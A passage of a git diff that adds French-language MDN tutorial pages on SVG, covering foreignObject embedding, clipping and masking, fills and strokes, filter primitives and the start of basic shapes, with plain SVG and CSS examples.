+<p><img alt="imagedemo.png" class="default internal" src="/@api/deki/files/4949/=imagedemo.png"></p>
+
+<h3 id="Embarquer_du_contenu_XML_quelconque">Embarquer du contenu XML quelconque</h3>
+
+<p>Étant donné que le SVG est un document XML, il est toujours possible d'adjoindre un contenu XML quelconque n'importe où dans le document. Mais il n'y a évidemment aucun moyen de savoir comment l'élément SVG encadrant votre contenu réagira à ce qui aura été inséré. En fait, un lecteur SVG correct ne réagira d'aucune façon particulière et ignorera purement et simplement ce contenu. Si la spécification ajoute l'élément SVG <code><strong>foreignObject</strong>, </code>son utilité est essentiellement d'être une coquille pour d'autres balises et de permettre d'adjoindre des attributs de style (comme par exemple la <em>largeur</em> et la <em>hauteur</em> de l'objet embarqué afin de définir la place que celui-ci occupera).</p>
+
+<p>L'élément <strong><code>foreignObject</code></strong> est donc la bonne méthode pour embarquer du <strong>XHTML</strong> dans du SVG. Si le SVG doit contenir du texte de longueur conséquente, la disposition HTML est bien plus pratique et utilisable que l'élément SVG <code>text</code>. Une autre utilisation bien pratique de cet élément est l'adjonction de formules avec MathML. Pour des applications scientifiques utilisant le SVG, c'est un bon moyen de permettre la communication entre ces deux univers.</p>
+
+<div class="note"><strong>Note:</strong> Gardez à l'esprit que le contenu du <code>foreignObject</code> doit pouvoir être analysé et pris en compte par votre lecteur SVG. Il y a peu de chances qu'un lecteur SVG autonome soit capable de restituer du contenu HTML or MathML.</div>
+
+<p>Etant donné que le <code>foreignObject</code> est un élément SVG comme un autre, vous pouvez, comme dans le case de l'élément <code>image</code>, utiliser toute la panoplie des attributs SVG qui pourrait s'appliquer au contenu embarqué.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Découpages_et_masquages", "Web/SVG/Tutoriel/filtres") }}</p>
diff --git a/files/fr/web/svg/tutoriel/découpages_et_masquages/index.html b/files/fr/web/svg/tutoriel/découpages_et_masquages/index.html
new file mode 100644
index 0000000000..a4dd82b1dc
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/découpages_et_masquages/index.html
@@ -0,0 +1,91 @@
+---
+title: Découpages et masquages
+slug: Web/SVG/Tutoriel/Découpages_et_masquages
+tags:
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial/Clipping_and_masking
+---
+<p>{{ PreviousNext("SVG/Tutoriel/Transformations_de_base", "Web/SVG/Tutoriel/Contenu_embarque_SVG") }}</p>
+
+<p>Effacer une partie de ce que l'on a créé précédemment peut paraître maladroit, voire totalement contradictoire. Mais cela peut se révéler très utile, par exemple quand vous essayez de dessiner un demi-cercle.</p>
+
+<p>Le <strong>découpage</strong> (<em>clipping</em>) correspond au fait d'enlever des morceaux d'élément. Dans ce cas là, les effets de transparence ne sont pas permis, il s'agit d'une approche du tout-ou-rien.</p>
+
+<p>D'un autre côté, le <strong>masquage</strong> (<em>masking</em>) permet plus de souplesse en prenant en compte la transparence et les niveaux de gris.</p>
+
+<h3 id="Découper">Découper</h3>
+
+<p>Pour créer un demi-cercle, on définit d'abord un élément <code>circle</code>:</p>
+
+<pre class="brush: html">&lt;svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;clipPath id="cut-off-bottom"&gt;
+      &lt;rect x="0" y="0" width="200" height="100" /&gt;
+    &lt;/clipPath&gt;
+  &lt;/defs&gt;
+
+  &lt;circle cx="100" cy="100" r="100" clip-path="url(#cut-off-bottom)" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>On dessine ici un cercle d'un rayon de 100 pixels, dont le centre est placé au point (100,100). L'attribut <code>clip-path</code> fait référence à l'élément <code>clipPath</code> définit plus haut, qui est généralement placé dans la section <code>defs</code>.</p>
+
+<p>L'élément <code>clipPath</code> contient un simple rectangle qui, seul, remplirait en noir la moitié supérieur du canvas. Le rectangle ne sera pas dessiné, parce qu'il est définit dans un élément <code>clipPath</code>, il a pour effet de déterminer quels pixels seront affichés ou non dans le dessin final. Le rectangle ne couvrant que la partie supérieure du cercle, la partie inférieure du cercle ne sera pas affichée:</p>
+
+<p>{{ EmbedLiveSample('Découper','240','240','/files/3224/clipdemo.png') }}</p>
+
+<p>Nous avons maintenant un demi-cercle, sans avoir à passer par un arc dans un élément <code>path</code>. Pour le découpage, chaque forme à l'intérieur de <code>clipPath</code> est inspecté et évalué avec ses propriétés et ses transformations. Chaque zone transparente dans <code>clipPath</code> aura pour effet de masquer le contenu. <span id="result_box" lang="fr"><span>La couleur, l'opacité et autres n'ont pas d'effet tant qu'ils ne rendent pas les formes complètement transparentes.</span></span></p>
+
+<h3 id="Masquage">Masquage</h3>
+
+<p>Le masquage, contrairement au découpage permet de travailler avec des gradients. Si vous voulez qu'un élément disparaisse progressivement, vous y parviendrez en utiilisant des masques.</p>
+
+<pre class="brush: html">&lt;svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient"&gt;
+      &lt;stop offset="0" stop-color="white" stop-opacity="0" /&gt;
+      &lt;stop offset="1" stop-color="white" stop-opacity="1" /&gt;
+    &lt;/linearGradient&gt;
+    &lt;mask id="Mask"&gt;
+      &lt;rect x="0" y="0" width="200" height="200" fill="url(#Gradient)"  /&gt;
+    &lt;/mask&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="0" y="0" width="200" height="200" fill="green" /&gt;
+  &lt;rect x="0" y="0" width="200" height="200" fill="red" mask="url(#Mask)" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Vous pouvez voir qu'on a définit un rectangle vert en-dessous d'un rectangle rouge. Ce dernier a un attribut <code>mask</code> qui pointe vers le masque situé dans les définitions. Le contenu du masque est un simple élément <code>rect</code>, qui est rempli d'un gradient transparent-vers-blanc. Les pixels du rectangle rouge héritent de la valeur alpha (la transparence) du contenu du masque, si bien que le rectangle rouge est progressivement masqué et laisse voir le rectangle vert en-dessous:</p>
+
+<p>{{ EmbedLiveSample('Masquage','240','240','/files/3234/maskdemo.png') }}</p>
+
+<h3 id="Transparence_avec_opacity">Transparence avec <code>opacity</code></h3>
+
+<p>Pour définir la transparence d'un élément entier, on peut utiliser l'attribut <code>opacity</code>:</p>
+
+<pre class="brush: xml">&lt;rect x="0" y="0" width="100" height="100" opacity=".5" /&gt;
+</pre>
+
+<p>Le rectangle ci-dessus sera dessiné semi-transparent.</p>
+
+<p>On peut également utiliser deux attributs distincts pour le remplissage et le contour: <code>fill-opacity</code> et <code>stroke-opacity</code>, pour contrôler l'opacité des propriétés <code>fill</code> et <code>stroke</code> respecitvement. Notez que le contour est dessiné au-dessus du remplissage. Ainsi, si vous rendez le contour semi-transparent et non le remplissage, celui-ci sera visible à travers le contour:</p>
+
+<pre class="brush: html">&lt;svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;rect x="0" y="0" width="200" height="200" fill="blue" /&gt;
+  &lt;circle cx="100" cy="100" r="50" stroke="yellow" stroke-width="40" stroke-opacity=".5" fill="red" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Transparence_avec_opacity','240','240','/files/3231/opacitydemo.png') }}</p>
+
+<p>Vous pouvez voir dans cet exemple un cercle rouge sur un fond bleu. Le contour jaune a une opacité de 50%, si bien qu'on se retrouve avec une partie du remplissage en orange.</p>
+
+<h2 id="Utilisation_de_techniques_CSS_bien_connues">Utilisation de techniques CSS bien connues</h2>
+
+<p>Un des outils les plus puissants parmis l'arsenal du développeur web est <code>display: none</code>. Il n'est donc pas étonnant qu'il ait été décidé que cette propriété CSS serait également intégrée à SVG, de même que <code>visibility</code> et <code>clip</code> définis en CSS 2. Pour ré-afficher un élément précédemment caché avec <code>display: none</code> il est important de savoir que la valeur initiale des éléments SVG est <code>inline</code>.<span class="message-body-wrapper"><span class="message-flex-body"> </span></span></p>
+
+<p>{{ PreviousNext("SVG/Tutoriel/Transformations_de_base", "Web/SVG/Tutoriel/Contenu_embarque_SVG") }}</p>
+
+<p>{{ languages( { "en": "en/SVG/Tutorial/Clipping_and_masking" } ) }}</p>
diff --git a/files/fr/web/svg/tutoriel/fills_and_strokes/index.html b/files/fr/web/svg/tutoriel/fills_and_strokes/index.html
new file mode 100644
index 0000000000..54e0d792e2
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/fills_and_strokes/index.html
@@ -0,0 +1,177 @@
+---
+title: Remplissages et contours
+slug: Web/SVG/Tutoriel/Fills_and_Strokes
+tags:
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial/Fills_and_Strokes
+---
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Paths", "Web/SVG/Tutoriel/Gradients") }}</p>
+
+<p>Il y a différentes manières de colorer des formes: utiliser différents attributs SVG sur l'objet, utiliser du {{glossary("CSS")}} en ligne, une section CSS ou un fichier CSS externe. La plupart des {{glossary("SVG")}} que vous trouverez sur le Web utilisent du CSS en ligne, mais il y a des avantages et inconvénients pour chaque manière.</p>
+
+<h2 id="Fill_and_Stroke_Attributes" name="Fill_and_Stroke_Attributes">Attributs Fill et Stroke</h2>
+
+<h3 id="Painting" name="Painting">Colorer</h3>
+
+<p>La coloration peut être faite en définissant deux attributs sur l'objet: <code>fill</code> et <code>stroke</code>. <code>Fill</code> définit la couleur de remplissage et <code>stroke</code> définit la couleur de la bordure. Vous pouvez utiliser la même convention de nommage des couleurs que CSS, que ce soit les noms (comme <em>red</em>), les valeurs rgb (comme <em>rgb(255,0,0)</em>), les valeurs hexadécimales, rgba, etc.</p>
+
+<pre class="brush:xml;">&lt;rect x="10" y="10" width="100" height="100"
+       stroke="blue" fill="purple"
+       stroke-opacity="0.8" fill-opacity="0.5"/&gt;
+</pre>
+
+<p>De plus, vous pouvez spécifier l'opacité de <code>fill</code> et/ou <code>stroke</code>. Celle-ci est contrôlé par les attributs <code>fill-opacity</code> et <code>stroke-opacity</code> respectivement.</p>
+
+<div class="note style-wrap"><strong>Note</strong>: Dans Firefox 3+, les valeurs rgba sont autorisés, ce qui donne le même effet qu'utiliser les attributs d'opacité. En revanche, pour être compatible avec les autres navigateurs, il est souvent préférable de spécifier fill/stoke-opacity séparemment. Si vous spécifiez à la fois une valeur rgba et fill/stoke-opacity, les deux seront appliquées.</div>
+
+<h3 id="Stroke" name="Stroke">Options du contour</h3>
+
+<p>Outre les propriétés de couleur, il existe quelques attributs additionnels pour contrôler la manière dont le contour est dessiné.</p>
+
+<h4 id="stroke-width">stroke-width</h4>
+
+<p>La propriété <code>stroke-width</code> définit la taille du contour. La ligne du contour est centrée autour du remplissage (si le contour vaut 10, 5 pixels du contour chevauchent le remplissage).</p>
+
+<h4 id="stroke-linecap">stroke-linecap</h4>
+
+<p>Le second attribut affectant le contour est la propriété <code>stroke-linecap</code>. Elle contrôle la forme des fins de ligne. Dans l'image ci-dessous, le chemin est dessiné en rose et le contour en noir.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/355/=SVG_Stroke_Linecap_Example.png" style="float: right;"></p>
+
+<pre class="brush:html;">&lt;svg width="160" height="140" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;line x1="40" x2="120" y1="20" y2="20"
+        stroke-linecap="butt" stroke="black" stroke-width="20"/&gt;
+  &lt;line x1="40" x2="120" y1="60" y2="60"
+        stroke-linecap="square" stroke="black" stroke-width="20"/&gt;
+  &lt;line x1="40" x2="120" y1="100" y2="100"
+        stroke-linecap="round" stroke="black" stroke-width="20"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('stroke-linecap', '220', '150') }}</p>
+
+<p>Il y a trois valeurs possibles pour <code>stroke-linecap</code>:</p>
+
+<ul>
+ <li><code>butt</code> (valeur par défaut) ferme la ligne avec un bord droit, à 90 degrés à l'endroit où la ligne se termine.</li>
+ <li><code>square</code> a la même apparence mais termine au delà de la ligne. La distance ajoutée est la moitié de <code>stroke-width</code>.</li>
+ <li><code>round</code> produit un effet arrondi à la fin du trait. La rayon de cette courbe est également contrôlé par <code>stroke-width</code>.</li>
+</ul>
+
+<h4 id="stroke-linejoin">stroke-linejoin</h4>
+
+<p>La propriété <code>stroke-linejoin</code> permet de contrôler la manière de dessiner la liaison entre deux segments de ligne.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/356/=SVG_Stroke_Linejoin_Example.png" style="float: right;"></p>
+
+<pre class="brush:html;">&lt;svg width="160" height="280" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;polyline points="40 60 80 20 120 60" stroke="black" stroke-width="20"
+      stroke-linecap="butt" fill="none" stroke-linejoin="miter"/&gt;
+
+  &lt;polyline points="40 140 80 100 120 140" stroke="black" stroke-width="20"
+      stroke-linecap="round" fill="none" stroke-linejoin="round"/&gt;
+
+  &lt;polyline points="40 220 80 180 120 220" stroke="black" stroke-width="20"
+      stroke-linecap="square" fill="none" stroke-linejoin="bevel"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('stroke-linejoin', '220', '150') }}</p>
+
+<p>Chacune des ces polylignes est composée de deux segments de lignes. La liaison entre les deux est contrôlée par l'attribut <code>stroke-linejoin</code>. Il y a trois valeurs possibles pour cet attribut:</p>
+
+<ul>
+ <li><code>miter</code> (valeur par défaut) prolonge légèrement la ligne au-delà de sa largeur normale pour créer un coin carré, de telle sorte qu'il n'y ait qu'un seul angle.</li>
+ <li><code>round</code> crée un coin arrondi.</li>
+ <li><code>bevel</code> crée un nouvel angle pour faciliter la transition entre les deux segments.</li>
+</ul>
+
+<h4 id="stroke-dasharray">stroke-dasharray</h4>
+
+<p>Finalement, vous pouvez également créer des lignes pointillées en spécifiant l'attribut <code>stroke-dasharray</code>.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/354/=SVG_Stroke_Dasharray_Example.png" style="float: right;"></p>
+
+<pre class="brush:html;">&lt;svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;path d="M 10 75 Q 50 10 100 75 T 190 75" stroke="black"
+    stroke-linecap="round" stroke-dasharray="5,10,5" fill="none"/&gt;
+  &lt;path d="M 10 75 L 190 75" stroke="red"
+    stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('stroke-dasharray', '220', '150') }}</p>
+
+<p>L'attribut <code>stroke-dasharray</code> prend une série de nombres séparés par une virgule en argument. </p>
+
+<div class="note">
+<p><strong>Note</strong>: Contrairement aux paths, ces nombres <strong><em>doivent</em></strong> être séparés par des virgules (les espaces sont ignorés).</p>
+</div>
+
+<p>Le premier nombre spécifie la distance du trait et le second la distance de l'espace. Dans l'exemple précédent, la ligne rouge commence par un trait de 5 suivit d'un espace de 5 (<code>5,5</code>), motif qui se répète sur le reste de la ligne. Vous pouvez spécifier davantage de nombres pour créer un motif de pointillés plus complexe. Pour la ligne noire on a spécifié trois nombres (<code>5,10,5</code>), ce qui a pour effet d'alterner le motif: (5 trait, 10 espace, 5 trait), (5 espace, 10 trait, 5 espace), etc.</p>
+
+<h4 id="Autres">Autres</h4>
+
+<p>Il existe d'autres propriétés disponibles:</p>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/SVG/Attribute/fill-rule">fill-rule</a></code>, spécifie la règle de remplissage pour les formes où des chemins se chevauchent.</li>
+ <li><code><a href="/fr/docs/Web/SVG/Attribute/stroke-miterlimit">stroke-miterlimit</a></code>, détermine à partir de quel angle une liaison de segment de type <code>miter</code> sera affichée en <code>bevel</code>.</li>
+ <li><code><a href="/fr/docs/Web/SVG/Attribute/stroke-dashoffset">stroke-dashoffset</a></code>, définit à partir d'où commencer les pointilliés sur la ligne.</li>
+</ul>
+
+<h2 id="Using_CSS" name="Using_CSS">Utiliser CSS</h2>
+
+<p>En plus de définir des attributs sur des objets, vous pouvez également utiliser CSS pour styliser les remplissages et les contours. Tous les attributs ne peuvent pas être définis via CSS. Ceux qui traitent le remplissage et le contour le sont généralement, <code>fill</code>, <code>stroke</code>, <code>stroke-dasharray</code>, etc... peuvent donc être définis de cette manière. Les attributs tels que <code>width</code>, <code>height</code>, ou les commandes des paths, ne peuvent pas être définis par CSS. Le plus simple est de tester pour découvrir ce qui est disponible et ce qui ne l'est pas.</p>
+
+<div class="note style-wrap"><strong>Note:</strong> La <a class="external" href="http://www.w3.org/TR/SVG/propidx.html" title="http://www.w3.org/TR/SVG/propidx.html">spécification SVG</a> décide strictement entre les attributs qui sont des <em>propriétés</em> et les autres. Les premiers peuvent être modifiés avec CSS, les derniers non.</div>
+
+<h4 id="En_ligne">En ligne</h4>
+
+<p>CSS peut être inséré en ligne avec l'élément via l'attribut <code>style</code>:</p>
+
+<pre class="brush:xml;"> &lt;rect x="10" height="180" y="10" width="180" style="stroke: black; fill: red;"/&gt;
+</pre>
+
+<h4 id="Dans_un_section_style">Dans un section style</h4>
+
+<p>Sinon, il peut être déplacé vers une section <code>style</code>. Au lieu de l'insérer dans une section <code>&lt;head&gt;</code> comme vous le feriez en HTML, on la place dans la zone <a href="/en/SVG/Element/defs" title="en/SVG/Element/defs"><code>&lt;defs&gt;</code></a> du SVG. <code>&lt;defs&gt;</code> (abbréviation de definitions) est l'endroit où vous placez les éléments qui n'apparaissent pas dans le SVG directement, mais qui sont utilisés par les autres éléments.</p>
+
+<pre class="brush:xml;">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;defs&gt;
+    &lt;style type="text/css"&gt;&lt;![CDATA[
+       #MyRect {
+         stroke: black;
+         fill: red;
+       }
+    ]]&gt;&lt;/style&gt;
+  &lt;/defs&gt;
+  &lt;rect x="10" height="180" y="10" width="180" id="MyRect"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Déplacer les styles dans une zone comme ceci peut rendre les choses plus simples pour ajuster les propriétés d'un grand nombre d'éléments. Vous pouvez également utiliser les <strong>pseudo-classes comme hover</strong> pour créer des effets:</p>
+
+<pre class="brush:css;"> #MyRect:hover {
+   stroke: black;
+   fill: blue;
+ }
+</pre>
+
+<h4 id="Dans_un_fichier_externe">Dans un fichier externe</h4>
+
+<p>Ou vous pouvez spécifier une feuille de style externe pour vos règles CSS avec la <a class="external" href="http://www.w3.org/TR/xml-stylesheet/" title="http://www.w3.org/TR/xml-stylesheet/">syntaxe XML pour les stylesheets</a>:</p>
+
+<pre class="brush:xml;">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;?xml-stylesheet type="text/css" href="style.css"?&gt;
+
+&lt;svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;rect height="10" width="10" id="MyRect"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>où style.css ressemble à ça:</p>
+
+<pre class="brush:css;">#MyRect {
+  fill: red;
+  stroke: black;
+}</pre>
+
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Paths", "Web/SVG/Tutoriel/Gradients") }}</p>
diff --git a/files/fr/web/svg/tutoriel/filtres/index.html b/files/fr/web/svg/tutoriel/filtres/index.html
new file mode 100644
index 0000000000..b0f988398a
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/filtres/index.html
@@ -0,0 +1,147 @@
+---
+title: Filtres
+slug: Web/SVG/Tutoriel/filtres
+tags:
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial/Filter_effects
+---
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Contenu_embarque_SVG", "Web/SVG/Tutoriel/polices_SVG") }}</p>
+
+<p>Dans certaines situations, les formes de base n'offrent pas la flexibilité nécessaire pour obtenir un certain effet. Par exemple, les ombres portées ne peuvent raisonnablement pas être crées avec des gradients. Les filtres sont des mécanismes SVG qui permettent de créer effets plus sophistiqués.</p>
+
+<p>Un exemple de base consiste à ajouter un effet de flou au contenu du SVG. Bien que des effets de flou simples peuvent être obtenus avec les gradients, le filtre est nécessaire pour quelque chose de plus complexe.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Les filtres sont définis par l'élément {{SVGElement('filter')}}, qui doit ête placé dans la section <code>&lt;defs&gt;</code> de votre fichier SVG. Entre les balises du filtre, se placent une liste de <em>primitives</em>, des opérations basiques qui s'ajoutent aux opérations précédentes (tel que du flou, de la lumière, etc). Pour appliquer le filtre créé sur un élément graphique, on définit l'attribut {{SVGAttr('filter')}}.</p>
+
+<pre class="brush: html">&lt;svg width="250" viewBox="0 0 200 85"
+     xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;defs&gt;
+    &lt;!-- Déclaration du filtre --&gt;
+    &lt;filter id="MyFilter" filterUnits="userSpaceOnUse"
+            x="0" y="0"
+            width="200" height="120"&gt;
+
+      &lt;!-- offsetBlur --&gt;
+      &lt;feGaussianBlur in="SourceAlpha" stdDeviation="4" result="blur"/&gt;
+      &lt;feOffset in="blur" dx="4" dy="4" result="offsetBlur"/&gt;
+
+      &lt;!-- litPaint --&gt;
+      &lt;feSpecularLighting in="blur" surfaceScale="5" specularConstant=".75"
+                          specularExponent="20" lighting-color="#bbbbbb"
+                          result="specOut"&gt;
+        &lt;fePointLight x="-5000" y="-10000" z="20000"/&gt;
+      &lt;/feSpecularLighting&gt;
+      &lt;feComposite in="specOut" in2="SourceAlpha" operator="in" result="specOut"/&gt;
+      &lt;feComposite in="SourceGraphic" in2="specOut" operator="arithmetic"
+                   k1="0" k2="1" k3="1" k4="0" result="litPaint"/&gt;
+
+      &lt;!-- fusionne offsetBlur + litPaint --&gt;
+      &lt;feMerge&gt;
+        &lt;feMergeNode in="offsetBlur"/&gt;
+        &lt;feMergeNode in="litPaint"/&gt;
+      &lt;/feMerge&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;!-- Éléments graphiques --&gt;
+  &lt;g filter="url(#MyFilter)"&gt;
+      &lt;path fill="none" stroke="#D90000" stroke-width="10"
+            d="M50,66 c-50,0 -50,-60 0,-60 h100 c50,0 50,60 0,60z" /&gt;
+      &lt;path fill="#D90000"
+            d="M60,56 c-30,0 -30,-40 0,-40 h80 c30,0 30,40 0,40z" /&gt;
+      &lt;g fill="#FFFFFF" stroke="black" font-size="45" font-family="Verdana" &gt;
+        &lt;text x="52" y="52"&gt;SVG&lt;/text&gt;
+      &lt;/g&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Exemple', '100%', 120) }}</p>
+
+<h3 id="Étape_1">Étape 1</h3>
+
+<pre class="brush: html">&lt;feGaussianBlur in="SourceAlpha"
+                stdDeviation="4"
+                result="blur"/&gt;</pre>
+
+<p>{{SVGElement('feGaussianBlur')}} prend en entrée (<code>in</code>) "SourceAlpha", qui est la couche alpha de l'élément source, applique un flou de 4, et stocke le résultat (<code>result</code>) dans un buffer temporaire nommé "blur".</p>
+
+<h3 id="Étape_2">Étape 2</h3>
+
+<pre class="brush: html">&lt;feOffset in="blur"
+          dx="4" dy="4"
+          result="offsetBlur"/&gt;</pre>
+
+<p>{{SVGElement('feOffset')}} prend en entrée (<code>in</code>) "blur", qu'on a crée précedemment, le décale de 4 vers la droite et 4 vers le bas, et stocke le résultat (<code>result</code>) dans le buffer "offsetBlur". Les deux premières primitives viennent de créer une ombre portée.</p>
+
+<h3 id="Étape_3">Étape 3</h3>
+
+<pre class="brush: html">&lt;feSpecularLighting in="blur"
+                    surfaceScale="5" specularConstant=".75"
+                    specularExponent="20" lighting-color="#bbbbbb"
+                    result="specOut"&gt;
+  &lt;fePointLight x="-5000" y="-10000" z="20000"/&gt;
+&lt;/feSpecularLighting&gt;</pre>
+
+<p>{{SVGelement('feSpecularLighting')}} prend en entrée (<code>in</code>) "blur", génère un effet d'éclairage, et stocke le résultat (<code>result</code>) dans le buffer "specOut".</p>
+
+<h3 id="Étape_4">Étape 4</h3>
+
+<pre class="brush: html">&lt;feComposite in="specOut" in2="SourceAlpha"
+             operator="in"
+             result="specOut"/&gt;</pre>
+
+<p>Le premier {{SVGElement('feComposite')}} prend en entrée (<code>in</code>, <code>in2</code>) "specOut" et "SourceAlpha", masque le résultat de "specOut" de telle sorte qu'il ne soit pas plus grand que "SourceAlpha" (l'élément graphique d'origine), et remplace le résultat (<code>result</code>) "specOut".</p>
+
+<h3 id="Étape_5">Étape 5</h3>
+
+<pre class="brush: html">&lt;feComposite in="SourceGraphic" in2="specOut"
+             operator="arithmetic"
+             k1="0" k2="1" k3="1" k4="0"
+             result="litPaint"/&gt;</pre>
+
+<p>Le second {{SVGElement('feComposite')}} prend en entrée (<code>in</code>, <code>in2</code>) "SourceAlpha" et "specOut", ajoute le résultat "specOut" au-dessus de "SourceAlpha", et stocke le résultat (<code>result</code>) dans "litPaint".</p>
+
+<h3 id="Étape_6">Étape 6</h3>
+
+<pre class="brush: html">&lt;feMerge&gt;
+  &lt;feMergeNode in="offsetBlur"/&gt;
+  &lt;feMergeNode in="litPaint"/&gt;
+&lt;/feMerge&gt;</pre>
+
+<p>Finalement, {{SVGElement('feMerge')}} fusionne ensemble "offsetBlur", qui est l'ombre portée, et "litPaint", qui est l'élément d'origine avec l'effet d'éclairage.</p>
+
+<div style="display: flex; text-align: center;">
+<div><img alt="Source graphic" src="https://mdn.mozillademos.org/files/16310/filters01-0.png" style="height: 70px; width: 115px;">
+<p>Élément d'origine</p>
+</div>
+
+<div><img alt="Primitive 1" src="https://mdn.mozillademos.org/files/16311/filters01-1.png" style="height: 70px; width: 115px;">
+<p>Primitive 1</p>
+</div>
+
+<div><img alt="Primitive 2" src="https://mdn.mozillademos.org/files/16312/filters01-2.png" style="height: 70px; width: 115px;">
+<p>Primitive 2</p>
+</div>
+
+<div><img alt="Primitive 3" src="https://mdn.mozillademos.org/files/16313/filters01-3.png" style="height: 70px; width: 115px;">
+<p>Primitive 3</p>
+</div>
+
+<div><img alt="Primitive 4" src="https://mdn.mozillademos.org/files/16314/filters01-4.png" style="height: 70px; width: 115px;">
+<p>Primitive 4</p>
+</div>
+
+<div><img alt="Primitive 5" src="https://mdn.mozillademos.org/files/16315/filters01-5.png" style="height: 70px; width: 115px;">
+<p>Primitive 5</p>
+</div>
+
+<div><img alt="Primitive 6" src="https://mdn.mozillademos.org/files/16316/filters01-6.png" style="height: 70px; width: 115px;">
+<p>Primitive 6</p>
+</div>
+</div>
+
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Contenu_embarque_SVG", "Web/SVG/Tutoriel/polices_SVG") }}</p>
diff --git a/files/fr/web/svg/tutoriel/formes_de_base/index.html b/files/fr/web/svg/tutoriel/formes_de_base/index.html
new file mode 100644
index 0000000000..aa75f0c0ed
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/formes_de_base/index.html
@@ -0,0 +1,156 @@
+---
+title: Formes de base
+slug: Web/SVG/Tutoriel/Formes_de_base
+tags:
+  - SVG
+translation_of: Web/SVG/Tutorial/Basic_Shapes
+---
+<p>{{ PreviousNext("SVG/Tutoriel/Positionnement", "Web/SVG/Tutoriel/Paths") }}</p>
+
+<p>Il existe tout un ensemble de formes de base utilisées pour faire du dessin via SVG. Le but de ces formes assez transparent, si on regarde attentivement les noms de chaque élément. Des attributs permettent de configurer leur position et leur taille, mais vous pourrez retrouver les détails de chaque élément avec tous ses attributs à <a href="/fr/SVG/Element" title="fr/SVG/Element">la page des références SVG</a>. Nous nous contenterons ici de couvrir les fonctions de base qui nous sont nécessaires, car elles sont utilisées dans la plupart des documents SVG.</p>
+
+<h3 id="Ajout_de_formes">Ajout de formes</h3>
+
+<p>Pour insérer une forme, vous devez ajouter un élément dans un document. Des éléments différents  correspondent à des formes différentes et ont des attributs différents pour décrire leur taille et leur position. Certaines déclarations sont très fortement redondantes en ce qu'elles peuvent être créées par d'autres formes, mais elles sont toutes là de manière à faciliter votre vie et à rendre le document SVG aussi court et lisible que possible. Toutes les formes de bases sont affichées sur l'image de gauche. Le code pour générer tout cela ressemble à cela :</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/359/=Shapes.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;svg width="200" height="250" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect x="10" y="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/&gt;
+  &lt;rect x="60" y="10" rx="10" ry="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;circle cx="25" cy="75" r="20" stroke="red" fill="transparent" stroke-width="5"/&gt;
+  &lt;ellipse cx="75" cy="75" rx="20" ry="5" stroke="red" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;line x1="10" x2="50" y1="110" y2="150" stroke="orange" fill="transparent" stroke-width="5"/&gt;
+  &lt;polyline points="60 110 65 120 70 115 75 130 80 125 85 140 90 135 95 150 100 145"
+      stroke="orange" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;polygon points="50 160 55 180 70 180 60 190 65 205 50 195 35 205 40 190 30 180 45 180"
+      stroke="green" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;path d="M20,230 Q40,205 50,230 T90,230" fill="none" stroke="blue" stroke-width="5"/&gt;
+&lt;/svg&gt;
+</pre>
+
+<div class="note"><strong>Note :</strong> les attributs <code>stroke</code>, <code>stroke-width</code> et <code>fill</code> sont détaillés plus loin dans ce tutoriel.</div>
+
+<h3 id="Figures_de_bases">Figures de bases</h3>
+
+<h4 id="Rectangles">Rectangles</h4>
+
